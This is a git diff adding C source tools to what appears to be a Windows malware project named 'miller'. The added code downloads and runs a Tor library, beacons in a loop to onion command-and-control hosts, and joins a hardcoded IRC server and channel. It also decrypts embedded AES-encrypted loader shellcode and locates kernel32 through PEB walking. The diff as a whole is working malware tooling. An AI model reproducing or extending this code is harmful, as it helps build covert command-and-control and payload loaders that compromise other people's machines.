+ COMPAT(memcpy)(send_buf, pkgBuf.buf, send_siz);
+ if (addRequest(&send_buf, &send_siz, hResp) == RSP_OK)
+ retBuf = PyByteArray_FromStringAndSize((const char*)send_buf, send_siz);
+ COMPAT(free)(send_buf);
+finalize:
+ if (pkgBuf.buf != NULL)
+ PyBuffer_Release(&pkgBuf);
+ if (httpResp.buf != NULL)
+ PyBuffer_Release(&httpResp);
+ if (retBuf)
+ return retBuf;
+ else
+ Py_RETURN_NONE;
+}
+
+
+/* define module methods */
+static PyMethodDef pycryptMethods[] = {
+ {"info", info, METH_NOARGS, "print module info"},
+ {"getCodes", __http_getCodes, METH_NOARGS, "get http request/response codes"},
+ {"getCodeSiz", __http_getCodeSiz, METH_NOARGS, "get code size"},
+ {"getFlags", __http_getFlags, METH_NOARGS, "get http response flags"},
+ {"getFlagSiz", __http_getFlagSiz, METH_NOARGS, "get flag size"},
+ {"getConsts", __http_getConsts, METH_NOARGS, "get const data/macros"},
+ {"parseResponse", __http_parseResponse, METH_VARARGS, "buf,startMarker -> parse http request/response"},
+ {"addRequest", __http_addRequest, METH_VARARGS, "buf,struct http_resp -> add a http request to an pkgbuffer"},
+ {NULL, NULL, 0, NULL}
+};
+
+/* module initialization */
+PyMODINIT_FUNC
+initpyhttp(void)
+{
+ printf("ENABLED %s\n", pname);
+ (void) Py_InitModule(pname, pycryptMethods);
+}
diff --git a/source/tools/host/pycrypt.c b/source/tools/host/pycrypt.c
new file mode 100644
index 0000000..ba15c7d
--- /dev/null
+++ b/source/tools/host/pycrypt.c
@@ -0,0 +1,250 @@
+/*
+ * Module: pcrypt.c
+ * Author: Toni Uhlig <matzeton@googlemail.com>
+ * Purpose: Python loadable module for xor/plain buffer (en|de)cryption
+ */
+
+#include "helper.h" /* must be the first include if compiling a python module */
+
+#include <stdio.h>
+#include <stdlib.h>
+
+#include "aes.h"
+#include "crypt.h"
+#include "compat.h"
+
+
+static const char pname[] = "pycrypt";
+static bool aesInit = false;
+
+
+static PyObject* info(PyObject* self, PyObject* args)
+{
+ printf("%s: (en|de)crypt xor/plain buffer\n", pname);
+ Py_RETURN_NONE;
+}
+
+static int init(void)
+{
+ if (aesInit)
+ aes_cleanup();
+ aes_init();
+ aesInit = true;
+ return 0;
+}
+
+static int __checkAESKeySize(unsigned int ksiz)
+{
+ if (ksiz != KEY_128 && ksiz != KEY_192 && ksiz != KEY_256) {
+ PyErr_Format(PyExc_TypeError, "Argument keysize must be either KEY_128(%d bytes), KEY_192(%d bytes) or KEY_256(%d bytes)", KEY_128, KEY_192, KEY_256);
+ return 0;
+ }
+ return 1;
+}
+
+static int __checkCtxSize(void* buf, Py_ssize_t len)
+{
+ if (len < sizeof(aes_ctx_t)) {
+ PyErr_Format(PyExc_TypeError, "Invalid AES Context struct size: %lu < %lu", len, sizeof(aes_ctx_t));
+ return 0;
+ }
+ aes_ctx_t* ctx = (aes_ctx_t*)buf;
+ uint32_t ks_size = 4*(ctx->rounds+1)*sizeof(uint32_t);
+ if (len != sizeof(aes_ctx_t)+ks_size) {
+ PyErr_Format(PyExc_TypeError, "Invalid AES Context rounds size: %lu < %lu", len, sizeof(aes_ctx_t)+ks_size);
+ return 0;
+ }
+ return 1;
+}
+
+static PyObject* __aes_randomkey(PyObject* self, PyObject* args)
+{
+ unsigned int ksiz = 0;
+ if (! PyArg_ParseTuple(args, "I:aesRandomKey", &ksiz)) {
+ return NULL;
+ }
+
+ if (__checkAESKeySize(ksiz) == 0) {
+ return NULL;
+ }
+
+ unsigned char key[ksiz];
+ memset(&key[0], '\0', ksiz);
+ aes_randomkey(&key[0], ksiz);
+ return PyByteArray_FromStringAndSize((const char*)&key[0], ksiz);
+}
+
+static PyObject* __aes_allocCtx(PyObject* self, PyObject* args)
+{
+ PyObject* pyByteArray = NULL;
+ Py_buffer pyByteBuffer;
+ char* buf = NULL;
+ ssize_t len;
+
+ if (! PyArg_ParseTuple(args, "O:aesAllocCtx", &pyByteArray)) {
+ PyErr_SetString(PyExc_TypeError, "Missing argument key as bytearray");
+ return NULL;
+ }
+ if (PyObject_GetBuffer(pyByteArray, &pyByteBuffer, PyBUF_SIMPLE) < 0) {
+ PyErr_SetString(PyExc_TypeError, "Argument is not a valid Bytebuffer");
+ return NULL;
+ }
+ len = pyByteBuffer.len;
+ if (__checkAESKeySize(len) == 0) {
+ return NULL;
+ }
+
+ buf = pyByteBuffer.buf;
+ aes_ctx_t* aes_ctx = aes_alloc_ctx((unsigned char*)buf, len);
+
+ PyObject* ctxByteArray = NULL;
+ if (aes_ctx) {
+ ssize_t size = sizeof(aes_ctx_t)+4*(aes_ctx->rounds+1)*sizeof(uint32_t);
+ ctxByteArray = PyByteArray_FromStringAndSize((const char*)aes_ctx, size);
+ }
+ aes_free_ctx(aes_ctx);
+ PyBuffer_Release(&pyByteBuffer);
+ return ctxByteArray;
+}
+
+static PyObject* __aes_crypt(PyObject* self, PyObject* args)
+{
+ Py_buffer plainBuffer;
+ PyObject* plainByteArray = NULL;
+ char* plain = NULL;
+ Py_buffer ctxBuffer;
+ PyObject* ctxByteArray = NULL;
+ aes_ctx_t* aes_ctx = NULL;
+ PyObject* boolDoEncrypt = NULL;
+ bool doEncrypt = true;
+
+ if (! PyArg_ParseTuple(args, "O|O|O:aesEncrypt", &ctxByteArray, &plainByteArray, &boolDoEncrypt) ||
+ ! ctxByteArray || ! plainByteArray || ! boolDoEncrypt) {
+ PyErr_SetString(PyExc_TypeError, "Invalid arguments (signature: AES_CTX[bytearray] BUFFER[bytearray] DO_ENCRYPT[bool]");
+ return NULL;
+ }
+ if (PyObject_GetBuffer(ctxByteArray, &ctxBuffer, PyBUF_SIMPLE) < 0 ||
+ PyObject_GetBuffer(plainByteArray, &plainBuffer, PyBUF_SIMPLE) < 0 ) {
+ return NULL;
+ }
+ if (__checkCtxSize(ctxBuffer.buf, ctxBuffer.len) == 0) {
+ PyErr_SetString(PyExc_TypeError, "Invalid aes context");
+ return NULL;
+ }
+
+ aes_ctx = (aes_ctx_t*)ctxBuffer.buf;
+ doEncrypt = PyObject_IsTrue(boolDoEncrypt);
+ plain = plainBuffer.buf;
+
+ uint32_t newsiz = 0;
+ char* new = aes_crypt_s(aes_ctx, plain, plainBuffer.len, &newsiz, doEncrypt);
+ PyObject* out = PyByteArray_FromStringAndSize((const char*)new, newsiz);
+ COMPAT(free)(new);
+ PyBuffer_Release(&plainBuffer);
+ PyBuffer_Release(&ctxBuffer);
+ return out;
+}
+
+static int __check_xor32key(unsigned int ksiz)
+{
+ return ksiz <= 128;
+}
+
+static uint32_t __xor32_random(void)
+{
+ return xor32_randomkey();
+}
+
+static PyObject* __xor32_randomkeyiv(PyObject* self, PyObject* args)
+{
+ unsigned int ksiz = 0;
+ if (! PyArg_ParseTuple(args, "I:xorRandomKey", &ksiz) ||
+ __check_xor32key(ksiz) == 0) {
+ PyErr_SetString(PyExc_TypeError, "Invalid argument for keysize");
+ return NULL;
+ }
+
+ uint32_t buf[ksiz];
+ memset(&buf[0], '\0', ksiz*sizeof(buf[0]));
+ for (unsigned int i = 0; i < ksiz; ++i) {
+ buf[i] = __xor32_random();
+ }
+ return PyByteArray_FromStringAndSize((const char*)&buf[0], ksiz*sizeof(buf[0]));
+}
+
+static PyObject* __xor32n_pcbc_crypt_buf(PyObject* self, PyObject* args)
+{
+ PyObject* result = NULL;
+ PyObject* byteBuf = NULL;
+ PyObject* keyBuf = NULL;
+ PyObject* ivBuf = NULL;
+ Py_buffer pyByteBuf, pyKeyBuf, pyIvBuf;
+
+ if (! PyArg_ParseTuple(args, "O|O|O:xorCrypt", &byteBuf, &keyBuf, &ivBuf) ||
+ ! byteBuf) {
+ PyErr_SetString(PyExc_TypeError, "Invalid arguments (signature: BUFFER[bytearray] XORKEY[bytearray] IV[bytearray]");
+ return NULL;
+ }
+ if (PyObject_GetBuffer(byteBuf, &pyByteBuf, PyBUF_SIMPLE) < 0 ||
+ PyObject_GetBuffer(keyBuf, &pyKeyBuf, PyBUF_SIMPLE) < 0 ||
+ PyObject_GetBuffer(ivBuf, &pyIvBuf, PyBUF_SIMPLE) < 0) {
+ PyErr_SetString(PyExc_TypeError, "One or more arguments could not be exported into a Buffer View");
+ goto failed;
+ }
+
+ if (pyKeyBuf.len != pyIvBuf.len) {
+ PyErr_SetString(PyExc_TypeError, "Key and Iv length are not equal");
+ goto failed;
+ }
+ if (pyKeyBuf.len % 4 != 0) {
+ PyErr_SetString(PyExc_TypeError, "Key and Iv length must be a multiple of 4 bytes");
+ goto failed;
+ }
+
+ size_t outsiz = pyByteBuf.len + sizeof(uint32_t)*pyKeyBuf.len;
+ uint32_t* outbuf = PyMem_Malloc(outsiz);
+ memset(outbuf, '\0', outsiz);
+ memcpy(outbuf, pyByteBuf.buf, pyByteBuf.len);
+ size_t newsiz = xor32n_pcbc_crypt_buf(outbuf, pyByteBuf.len, pyIvBuf.buf, pyKeyBuf.buf, pyKeyBuf.len / 4);
+ result = PyByteArray_FromStringAndSize((const char*)outbuf, newsiz);
+ PyMem_Free(outbuf);
+
+failed:
+ PyBuffer_Release(&pyByteBuf);
+ PyBuffer_Release(&pyKeyBuf);
+ PyBuffer_Release(&pyIvBuf);
+ return result;
+}
+
+
+/* define module methods */
+static PyMethodDef pycryptMethods[] = {
+ {"info", info, METH_NOARGS, "print module info"},
+ {"aesRandomKey", __aes_randomkey, METH_VARARGS, "generate random aes key"},
+ {"aesAllocCtx", __aes_allocCtx, METH_VARARGS, "allocate memory for a aes encryption/decryption context"},
+ {"aesCrypt", __aes_crypt, METH_VARARGS, "(en|de)crypt a memory buffer"},
+ {"xorRandomKeyIv", __xor32_randomkeyiv, METH_VARARGS, "generate a random xor key/iv 32-bit sequence"},
+ {"xorCrypt", __xor32n_pcbc_crypt_buf, METH_VARARGS, "(en|de)crypt a memory buffer"},
+ {NULL, NULL, 0, NULL}
+};
+
+/* module initialization */
+PyMODINIT_FUNC
+initpycrypt(void)
+{
+ srandom(time(NULL));
+
+ if (init() != 0) {
+ printf("%s: Error while initializing module\n", pname);
+ } else {
+ printf("ENABLED %s\n", pname);
+ PyObject* m = Py_InitModule(pname, pycryptMethods);
+ if (m) {
+ if (PyModule_AddIntMacro(m, KEY_128) != 0 ||
+ PyModule_AddIntMacro(m, KEY_192) != 0 ||
+ PyModule_AddIntMacro(m, KEY_256) != 0) {
+ printf("Failed to add some Macro's ..\n");
+ }
+ }
+ }
+}
diff --git a/source/tools/host/pyloader.c b/source/tools/host/pyloader.c
new file mode 100644
index 0000000..4d0a487
--- /dev/null
+++ b/source/tools/host/pyloader.c
@@ -0,0 +1,114 @@
+/*
+ * Module: pyloader.c
+ * Author: Toni Uhlig <matzeton@googlemail.com>
+ * Purpose: Python loadable module for loader modifications
+ */
+
+#include "helper.h" /* must be the first include if compiling a python module */
+
+#include <stdio.h>
+#include <stdlib.h>
+
+#include "loader.h"
+
+
+static const char pname[] = "pyloader";
+static const size_t ldr_strivkeylen = LOADER_STR_IVKEYLEN;
+static const size_t ldr_ivkeylen = LOADER_IVKEYLEN;
+static const char endmarker[] = { _LOADER_ENDMARKER };
+static struct loader_x86_data loader86;
+
+
+static PyObject* info(PyObject* self, PyObject* args)
+{
+ char* ldr_bufstr = bintostr((char*)&endmarker[0], sizeof(endmarker)/sizeof(endmarker[0]), 0, NULL);
+ printf("%s: get miller loader data from python scripts\n"
+ "\tLOADER_STR_IVKEYLEN: %lu\n"
+ "\tLOADER_IVKEYLEN....: %lu\n"
+ , pname, ldr_strivkeylen, ldr_ivkeylen);
+ printf( "\tENDMARKER..........: %s\n", ldr_bufstr);
+ free(ldr_bufstr);
+ Py_RETURN_NONE;
+}
+
+static PyObject* getLdrStrLen(PyObject* self, PyObject* args)
+{
+ return Py_BuildValue("(II)",
+ sizeof(loader86.strVirtualAlloc)/sizeof(loader86.strVirtualAlloc[0]),
+ sizeof(loader86.strIsBadReadPtr)/sizeof(loader86.strIsBadReadPtr[0]));
+}
+
+static PyObject* getLdrStrIvKeyLen(PyObject* self, PyObject* args)
+{
+ return Py_BuildValue("I", ldr_strivkeylen);
+}
+
+static PyObject* getLdrIvKeySiz(PyObject* self, PyObject* args)
+{
+ return Py_BuildValue("I", sizeof(loader86.key[0]));
+}
+
+static PyObject* getLdrIvKeyLen(PyObject* self, PyObject* args)
+{
+ return Py_BuildValue("I", ldr_ivkeylen);
+}
+
+static PyObject* getLdrStructSize(PyObject* self, PyObject* args)
+{
+ return Py_BuildValue("n", sizeof(loader86));
+}
+
+static PyObject* getLdrEndmarker(PyObject* self, PyObject* args)
+{
+ return Py_BuildValue("s#", &endmarker[0], sizeof(endmarker)/sizeof(endmarker[0]));
+}
+
+static PyObject* getLdrEndmarkerSize(PyObject* self, PyObject* args)
+{
+ return Py_BuildValue("n", sizeof(endmarker)/sizeof(endmarker[0]));
+}
+
+#define CALC_OFFSET(elem) ( (off_t)&(loader86.elem) - (off_t)&loader86 )
+#define PYDICT_STRUCT_OFFSET(elem) { PyObject* pyval = Py_BuildValue("n", CALC_OFFSET(elem)); if (pyval) { PyDict_SetItemString( dict, #elem, pyval ); Py_DECREF(pyval); } }
+static PyObject* getLdrStructOffsetDict(PyObject* self, PyObject* args)
+{
+ PyObject* dict = PyDict_New();
+ PYDICT_STRUCT_OFFSET(strVirtualAlloc[0]);
+ PYDICT_STRUCT_OFFSET(strIsBadReadPtr[0]);
+ PYDICT_STRUCT_OFFSET(iv[0]);
+ PYDICT_STRUCT_OFFSET(key[0]);
+ PYDICT_STRUCT_OFFSET(flags);
+ PYDICT_STRUCT_OFFSET(ptrToDLL);
+ PYDICT_STRUCT_OFFSET(sizOfDLL);
+ PYDICT_STRUCT_OFFSET(endMarker);
+ PyDict_SetItemString(dict, "ldrStrLen", getLdrStrLen(self, args));
+ PyDict_SetItemString(dict, "ldrStrIvKeyLen", getLdrStrIvKeyLen(self, args));
+ PyDict_SetItemString(dict, "ldrIvKeySiz", getLdrIvKeySiz(self, args));
+ PyDict_SetItemString(dict, "ldrIvKeyLen", getLdrIvKeyLen(self, args));
+ PyDict_SetItemString(dict, "structSize", getLdrStructSize(self, args));
+ PyDict_SetItemString(dict, "endMarkerSize", getLdrEndmarkerSize(self, args));
+ return dict;
+}
+
+/* define module functions */
+static PyMethodDef pyloaderMethods[] = {
+ {"info", info, METH_NOARGS, "module info"},
+ {"getLdrStrLen", getLdrStrLen, METH_NOARGS, "get loader strings length"},
+ {"getLdrStrIvKeyLen", getLdrStrIvKeyLen, METH_NOARGS, "get loader string iv/key len"},
+ {"getLdrIvKeySiz", getLdrIvKeySiz, METH_NOARGS, "get loader iv/key element size"},
+ {"getLdrIvKeyLen", getLdrIvKeyLen, METH_NOARGS, "get loader iv/key len"},
+ {"getStructSize", getLdrStructSize, METH_NOARGS, "get struct loader_x86_data size"},
+ {"getEndmarker", getLdrEndmarker, METH_NOARGS, "get loader endmarker buffer"},
+ {"getEndmarkerSize", getLdrEndmarkerSize, METH_NOARGS, "get loader endmarker bufsiz"},
+ {"getStructOffset", getLdrStructOffsetDict, METH_NOARGS, "get loader struct offset dict"},
+ {NULL, NULL, 0, NULL} /* Sentinel */
+};
+
+/* module initialization */
+PyMODINIT_FUNC
+initpyloader(void)
+{
+ memset(&loader86, '\0', sizeof(loader86));
+ printf("ENABLED %s\n", pname);
+ (void) Py_InitModule(pname, pyloaderMethods);
+}
diff --git a/source/tools/httpquery.c b/source/tools/httpquery.c
new file mode 100644
index 0000000..a753be6
--- /dev/null
+++ b/source/tools/httpquery.c
@@ -0,0 +1,162 @@
+#include "compat.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdbool.h>
+#include <unistd.h>
+#include <libgen.h>
+
+#include "crypt.h"
+#include "crypt_strings.h"
+#include "http.h"
+
+
+typedef struct opts {
+ bool dl_libtor:1;
+ bool on_doloop:1;
+ char* on_host;
+ char* on_res;
+ char* on_meth;
+} opts_t;
+
+static void usage(char* arg0)
+{
+ printf("usage: %s [-h] [-l] [-d HOST] [-r RESOURCE] [-m METHOD]\r\n"
+ "\t-h\tthis\r\n"
+ "\t-l\tdownload/run libtor\r\n"
+ "\t-p\tenter dll http loop\r\n"
+ "\t-d\tdestination onion host\r\n"
+ "\t\t\te.g. something.onion\r\n"
+ "\t-r\thttp resource\r\n"
+ "\t\t\te.g. /uri?paramN=valueN\r\n"
+ "\t-m\thttp method\r\n"
+ "\t\t\te.g. GET\r\n"
+ "\r\n", arg0);
+}
+
+static void parse_opts(int argc, char** argv, opts_t* po)
+{
+ int opt;
+
+ if (!po) return;
+ while ((opt = getopt(argc, argv, "hlpd:r:m:")) != -1) {
+ switch (opt) {
+ case 'h':
+ usage(argv[0]);
+ exit(1);
+ case 'l':
+ po->dl_libtor = true;
+ break;
+ case 'p':
+ po->on_doloop = true;
+ break;
+ case 'd':
+ po->on_host = strdup(optarg);
+ break;
+ case 'r':
+ po->on_res = strdup(optarg);
+ break;
+ case 'm':
+ po->on_meth = strdup(optarg);
+ break;
+ default:
+ printf("Unknown option: %d\r\n", opt);
+ break;
+ }
+ }
+}
+
+int main(int argc, char** argv)
+{
+ opts_t o;
+ const char* arg0 = "httpquery";
+ void* loadlib = LoadLibraryA;
+ void* getproc = GetProcAddress;
+
+ if (!bInitCompat(LoadLibraryA("KERNEL32.dll"), getproc))
+ return -1;
+
+ memset(&o, 0, sizeof(o));
+ parse_opts(argc, argv, &o);
+
+ COMPAT(printf)("LoadLibraryA.....: 0x%p\r\n", loadlib);
+ COMPAT(printf)("GetProcAddress...: 0x%p\r\n", getproc);
+
+ if (initHttp(loadlib, getproc) != 0) {
+ COMPAT(printf)("%s: initHttp(...) failed\r\n", arg0);
+ return 1;
+ }
+
+ /* download libtor and save it to %TEMP%\libonion.dll */
+ if (o.dl_libtor) {
+ COMPAT(printf)("%s: download libtor\r\n", arg0);
+ int ret;
+ char* libPath = NULL;
+ if ((ret = downloadLibtor(&libPath)) != ERR_HTTP_OK) {
+ COMPAT(printf)("%s: libtor download failed with %d (GetLastError: %u/0x%X)\r\n", arg0, ret, (unsigned)GetLastError(), (unsigned)GetLastError());
+ } else {
+ COMPAT(printf)("%s: libtor: %s\r\n", arg0, libPath);
+ HMODULE libmod = NULL;
+ tor_main_t tm = loadLibtor(libPath, &libmod, LoadLibraryA, GetProcAddress);
+ COMPAT(printf)("%s: libmod: %p, tormain: %p\r\n", arg0, libmod, tm);
+ /* run tor main loop */
+ tm(59050, 0xdeadc0de);
+ }
+ if (libPath)
+ COMPAT(free)(libPath);
+ }
+
+ struct http_args hArgs = {0};
+
+#ifdef _HTTP_LOCALHOST
+ DBUF(HTTP_HOST_LOCAL_ENUM, __hosts);
+ char __onion[1] = {0};
+#else
+ DBUF(HTTP_HOSTS_ENUM, __hosts);
+ DBUF(HTTP_ONION_ENUM, __onion);
+#endif
+
+ char* cur = NULL;
+ char* end = NULL;
+ get_string_in_strings_di(__hosts, 0, &cur, &end);
+
+ size_t hostLen = strlen(__onion) + strlen(cur);
+ char host[hostLen+1];
+ snprintf(&host[0], hostLen+1, cur, __onion);
+
+ hArgs.host = (o.on_host != NULL ? o.on_host : host);
+ hArgs.hostLen = strlen(hArgs.host);
+ hArgs.resource = (o.on_res != NULL ? o.on_res : "/");
+ hArgs.resourceLen = strlen(hArgs.resource);
+ hArgs.method = (o.on_meth != NULL ? o.on_res : "GET");
+ hArgs.methodLen = strlen(hArgs.method);
+
+ rrbuff out = NULL;
+ rrsize outSiz = 0;
+ DWORD status = 0;
+ int ret = sendHttpRequest(&hArgs, &out, &outSiz, &status);
+ switch (ret) {
+ case 0:
+ COMPAT(printf)("Success: %u\r\n", (unsigned)status);
+ break;
+ default:
+ COMPAT(printf)("Error: %d (GetLastError: %u/0x%X)\r\n", ret, (unsigned)GetLastError(), (unsigned)GetLastError());
+ break;
+ }
+
+ if (out && outSiz > 0)
+ COMPAT(printf)("Website content (Status %d, Size: %u):\n%s\r\n", (int)status, (unsigned)outSiz, out);
+
+ if (o.on_doloop) {
+ printf("Enter HTTP Loop ..\n");
+ while (1) {
+ httpLoopAtLeastOnce();
+ sleep(20);
+ }
+ }
+
+ if (o.on_host) free(o.on_host);
+ if (o.on_meth) free(o.on_meth);
+ if (o.on_res) free(o.on_res);
+ return ret;
+}
diff --git a/source/tools/ircmsg.c b/source/tools/ircmsg.c
new file mode 100644
index 0000000..fa01bbc
--- /dev/null
+++ b/source/tools/ircmsg.c
@@ -0,0 +1,37 @@
+#include "compat.h"
+#include "irc.h"
+
+
+int main(int argc, char** argv)
+{
+ void* loadlib = LoadLibraryA;
+ void* getproc = GetProcAddress;
+
+ (void) argc;
+ if (!bInitCompat(LoadLibraryA("KERNEL32.dll"), getproc))
+ return -1;
+
+ COMPAT(printf)("LoadLibraryA.....: 0x%p\n", loadlib);
+ COMPAT(printf)("GetProcAddress...: 0x%p\n", getproc);
+ COMPAT(printf)("WSAStartup.......: 0x%p\n", WSAStartup);
+
+ int ret;
+ if ((ret = initSocket(loadlib, getproc)) != 0) {
+ COMPAT(printf)("%s: initSocket(...) failed with: %d\n", argv[0], ret);
+ return 1;
+ }
+
+ if ((ret = ircLoop("muzzling", "#blkhtm", "dreamhack.se.quakenet.org", "6667")) != 0) {
+ COMPAT(printf)("%s: ircLoop() returned: %d\n", argv[0], ret);
+ }
+ switch (ret) {
+ case WSAHOST_NOT_FOUND:
+ COMPAT(printf)("%s: Host not found.\n", argv[0]);
+ break;
+ case WSAETIMEDOUT:
+ COMPAT(printf)("%s: Connection timed out.\n", argv[0]);
+ break;
+ }
+
+ return 0;
+}
diff --git a/source/tools/libtor.c b/source/tools/libtor.c
new file mode 100644
index 0000000..903ac82
--- /dev/null
+++ b/source/tools/libtor.c
@@ -0,0 +1,52 @@
+#include <stdio.h>
+#include <stdlib.h>
+
+#include <windows.h>
+
+#include "http.h"
+
+
+const char tm_proc[] = "tor_main@8";
+const unsigned int default_port = 59050;
+const unsigned int ident = 0xdeadc0de;
+
+int main(int argc, char** argv)
+{
+ unsigned int pport = default_port;
+
+ if (argc < 2) {
+ fprintf(stderr, "usage: %s [Path-To-LibTor.dll] [Proxy-Port]\n", argv[0]);
+ exit(1);
+ }
+ if (argc >= 3) {
+ pport = atoi(argv[2]);
+ if (pport == 0)
+ pport = default_port;
+ }
+
+ SetLastError(0);
+ HMODULE hLibTor = LoadLibraryA(argv[1]);
+ tor_main_t tor_main = NULL;
+ if (hLibTor) {
+ tor_main = (tor_main_t) GetProcAddress(hLibTor, tm_proc);
+ }
+
+ printf("libtor..: 0x%p\n"
+ "tor_main: 0x%p\n"
+ "error...: %lu\n"
+ , hLibTor, tor_main, GetLastError());
+
+ if (tor_main) {
+ printf("\nCalling %s(%u, 0x%p) ..\n", tm_proc, pport, (void*)ident);
+ int ret = tor_main(pport, ident);
+ if (ret == 0) {
+ printf("%s succeeded\n", tm_proc);
+ } else {
+ printf("%s returned: %d\n", tm_proc, ret);
+ }
+ exit(ret);
+ } else {
+ fprintf(stderr, "Did not find \"%s\" int %s\n", tm_proc, argv[1]);
+ exit(1);
+ }
+}
diff --git a/source/tools/loader_base.c b/source/tools/loader_base.c
new file mode 100644
index 0000000..7ce73cb
--- /dev/null
+++ b/source/tools/loader_base.c
@@ -0,0 +1,102 @@
+#include <windows.h>
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+
+/* see source/loader_x86.asm */
+int loader_start() __asm__("__ldr_start");
+
+
+#pragma GCC diagnostic ignored "-Wreturn-type"
+extern int getKernelBase(void) __asm__("getKernelBase");
+
+static int __attribute__ ((unused))
+__dummy_getKernelBase()
+{
+ __asm__ __volatile__(
+ ".intel_syntax noprefix\n"
+ ".global getKernelBase\n"
+ "getKernelBase:\n"
+ "nop; nop; nop\n\t"
+ "mov eax,[fs:0x30]\n\t"
+ "mov eax,[eax+0x0c]\n\t"
+ "mov eax,[eax+0x14]\n\t"
+ "mov eax,[eax]; mov eax,[eax]\n\t"
+ "mov eax,[eax+0x10]\n\t"
+ "ret\n\t"
+ "nop; nop; nop\n\t"
+ ".att_syntax\n"
+ );
+}
+#pragma GCC diagnostic warning "-Wreturn-type" /* disable "non void function doesnt return anything"-error */
+
+extern FARPROC myGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
+ return GetProcAddress(hModule, lpProcName);
+}
+
+extern HMODULE WINAPI myGetModuleHandle(LPCTSTR lpModuleName) {
+ return GetModuleHandle(lpModuleName);
+}
+
+int main(int argc, char** argv)
+{
+ DWORD dwWait = 2;
+
+ if (argc > 1 && argc != 2) {
+ printf("usage: %s [WAIT_TIME]\n", argv[0]);
+ abort();
+ } else if (argc == 2) {
+ errno = 0;
+ dwWait = strtoul(argv[1], NULL, 10);
+ if (errno != 0)
+ dwWait = 2;
+ } else if (argc == 1) {
+ printf("You can set my termination time with `%s [WAIT_TIME]`\n\n", argv[0]);
+ }
+
+ printf("getKernelBase....: 0x%p\n", (char*)getKernelBase());
+
+ __asm__ __volatile__(
+ "nop; nop; nop; nop; nop;"
+ );
+ HMODULE k32 = myGetModuleHandle("kernel32.dll");
+ __asm__ __volatile__(
+ "nop; nop; nop; nop; nop;"
+ );
+ printf("Kernel32.dll.....: 0x%p\n", k32);
+ __asm__ __volatile__(
+ "nop; nop; nop; nop; nop;"
+ );
+ printf("GetProcAddr......: 0x%p\n", GetProcAddress);
+ printf("VirtualAlloc.....: 0x%p\n", myGetProcAddress(k32, "VirtualAlloc"));
+ printf("IsBadReadPtr.....: 0x%p\n", myGetProcAddress(k32, "IsBadReadPtr"));
+
+ __asm__ __volatile__(
+ "nop; nop; nop; nop; nop;"
+ );
+
+#ifdef _MILLER_IMAGEBASE
+ /* force relocation */
+ LPVOID vpointer = VirtualAlloc((LPVOID)_MILLER_IMAGEBASE, 0x1000, MEM_RESERVE, PAGE_READWRITE);
+ if (!vpointer) {
+ printf("VirtualAlloc,,,..: %ld\n", GetLastError());
+ } else {
+ printf("Ptr-alloc'd......: 0x%p\n", vpointer);
+ }
+#else
+ printf("WARNING..........: Ptr-alloc disabled ( missing macro `-D_MILLER_IMAGEBASE=[HEX-VALUE]` )\n");
+#endif
+
+ /* loader test */
+ printf("Loader...........: 0x%p\n", loader_start);
+ printf("------------ EoL ------------\n");
+ int retval = loader_start();
+ sleep(dwWait);
+ printf("-----------------------------\n");
+ printf("Loader init......: 0x%p (%d)\n", (void*)retval, retval);
+ printf("error............: 0x%p (%ld)\n", (void*)GetLastError(), GetLastError());
+
+ return retval;
+}
diff --git a/source/tools/loader_decrypt.c b/source/tools/loader_decrypt.c
new file mode 100644
index 0000000..0043e7a
--- /dev/null
+++ b/source/tools/loader_decrypt.c
@@ -0,0 +1,58 @@
+#include "compat.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdbool.h>
+
+#include "utils.h"
+#include "helper.h"
+#include "aes.h"
+#include "xor_strings.h"
+#include "aes_strings_gen.h"
+#include "loader_x86_crypt.h"
+
+
+_AESDATA_(ldrdata, LOADER_SHELLCODE);
+_AESSIZE_(ldrsiz, ldrdata);
+static const size_t real_ldrsiz = LOADER_SHELLCODE_SIZE;
+
+_AESDATA_(ldrdbgdata, LOADER_SHELLCODE_DEBUG);
+_AESSIZE_(ldrdbgsiz, ldrdbgdata);
+static const size_t real_ldrdbgsiz = LOADER_SHELLCODE_DEBUG_SIZE;
+
+
+int main(int argc, char** argv)
+{
+ (void)argc;
+ aes_init();
+
+ size_t pSiz = 0;
+ aes_ctx_t* ctx = aes_alloc_ctx((unsigned char*)LDR_KEY, LDR_KEYSIZ);
+
+ BYTE* ldr = (BYTE*)aes_crypt_s(ctx, (char*)ldrdata, (size_t)ldrsiz, &pSiz, false);
+
+ char* hexout = bintostr((char*)ldr, real_ldrsiz, 1, NULL);
+ printf("%s [DECRYPTED]: %u bytes\n%s\n", argv[0], real_ldrsiz, hexout);
+
+ free(ldr);
+ free(hexout);
+
+ hexout = bintostr((char*)ldrdata, ldrsiz, 1, NULL);
+ printf("%s [ENCRYPTED]: %u bytes\n%s\n", argv[0], ldrsiz, hexout);
+ free(hexout);
+
+ ldr = (BYTE*)aes_crypt_s(ctx, (char*)ldrdbgdata, (size_t)ldrdbgsiz, &pSiz, false);
+
+ hexout = bintostr((char*)ldr, real_ldrdbgsiz, 1, NULL);
+ printf("%s [DECRYPTED]: %u bytes\n%s\n", argv[0], real_ldrdbgsiz, hexout);
+
+ free(ldr);
+ free(hexout);
+
+ hexout = bintostr((char*)ldrdata, ldrdbgsiz, 1, NULL);
+ printf("%s [ENCRYPTED]: %u bytes\n%s\n", argv[0], ldrdbgsiz, hexout);
+ free(hexout);
+
+ aes_free_ctx(ctx);
+ return 0;
+}
diff --git a/source/tools/loadmodule.c b/source/tools/loadmodule.c
new file mode 100644
index 0000000..48bc8be
--- /dev/null
+++ b/source/tools/loadmodule.c
@@ -0,0 +1,57 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <libgen.h>
+#include <windows.h>
+
+
+const char dllpath[] = "libw32miller_pre-shared.dll";
+
+
+int main(int argc, char** argv) {
+ char* path = NULL;
+ BOOL hasPathToDLL = FALSE;
+
+ if (argc == 2) {
+ path = argv[1];
+ hasPathToDLL = TRUE;
+ } else if (argc == 1) {
+ path = dirname(argv[0]);
+ } else {
+ printf("usage: %s [|PATH_TO_DLL]\n", path);
+ return 1;
+ }
+
+#ifdef _MILLER_IMAGEBASE
+ /* force windows loader to relocate module */
+ LPVOID vpointer = VirtualAlloc((LPVOID)_MILLER_IMAGEBASE, 0x1000, MEM_RESERVE, PAGE_READWRITE);
+ if (!vpointer) {
+ printf("VirtualAlloc..: %ld\n", GetLastError());
+ } else {
+ printf("Ptr-alloc'd...: 0x%p\n", vpointer);
+ }
